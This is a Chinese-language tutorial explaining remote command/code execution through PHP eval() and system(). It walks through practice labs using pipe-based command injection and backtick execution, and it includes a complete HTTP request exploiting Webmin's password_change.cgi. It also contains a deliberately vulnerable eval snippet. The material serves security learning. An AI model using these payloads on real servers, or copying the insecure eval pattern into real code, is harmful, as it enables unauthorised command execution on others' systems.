什么是RCE?
指的是远程命令/代码执行(remote command/code execute)
在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
容易产生此漏洞的地方
查看上面思维导图 “产生”
相关函数
首先了解一个函数:eval()函数 eval() 函数把字符串按照 PHP 代码来计算。 该字符串必须是合法的 PHP 代码,且必须以分号结尾。 即:eval(phpcode)
<?php
$code=$_GET['x'];
eval($code);
?>
java、python等语言都是同理。
再来了解一个函数:system()函数 执行外部程序并显示输出资料。 system语法: string system(string command, int [return_var]); system返回值: 字符串 System()函数的主要功能是在系统权限允许的情况是执行系统命令,windows系统和Linux系统都可以执行,Windows系统下可执行可执行文件(.exe、.bat等),也可执行cmd命令,Linux下用途更广,因为Linux系统就是基于命令行的,如基本的ls、cp、rm等。
<?php
system(‘ipconfig’,$callback);
echo $callback;
?>
漏洞形成条件
1、有可控变量 2、有漏洞函数
漏洞复现
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,如图
这是“墨者”里的一个命令执行漏洞靶场 通过输入IP可以ping出连接情况。于是这里就能够做RCE漏洞测试了。 测试中发现,该输入框只允许输入IP值。
知识点:“|”(管道符)这个符号,可以通过此符号同时执行多条命令。
由于这里前端加上了IP输入验证,所以我们可以通过修改数据包内容,在ip值后面加上“|”符号执行后面的“pwd”命令。 key这个文件中就是这个靶场通关密钥。
复现第二个靶场——PHP代码分析溯源 关卡内容如图 通过在线PHP代码运行可得出,eval函数中的代码执行的意思为
上面代码的意思应该为 由此可以得出在URL中加入:?a=ls 从而得出文件列表 以及?a=tac key=(文件名).PHP 得出PHP文件内容
知识点:虽然函数用到eval(),但是在Linux中反引号" ` "包起来的内容会被系统命令执行。所以上面a参数后跟的是系统命令。 反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。尽管可以通过输入字符或者字符串来创建变量值,也可以获取来自于其他Linux命令的值。为把Linux命令的结果赋予变量,实现需要执行这个命令。如果在命令行上把Linux命令放在反引号中,这个命令会首先被执行,其结果会成为命令行的一个参数。在赋值时,通过把命令放在反引号中,以便于首先执行,命令的执行结果会被赋予一个变量。反引号可以被视为由要执行命令组成的表达式,其结果会被赋予变量。组成命令的字符本身不会被赋予。在下面的范例中,命令ls*.c被执行,其结果然后被赋予变量listc。ls*.c会生成具有.c扩展名的所有文件列表。这个文件列表随后被赋予变量listc。
$ listc=`ls *.c`
$ echo $listc
main.c prog.c lib.c
第三个靶场尝试黑盒测试 页面如图 通过百度得知: Webmin是功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。
不管它是牛是马,网上寻找相关漏洞 https://www.cnblogs.com/whoami101/p/11465877.html
通过抓包修改其数据包如下
POST /password_change.cgi HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http:
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
cache-control: no-cache
user=rootxx&pam=&expired=2&old=id&new1=test2&new2=test2
得到结果 将数据包中“old=id”改为“old=ls”,得到当前目录中文件 复现RCE成功
|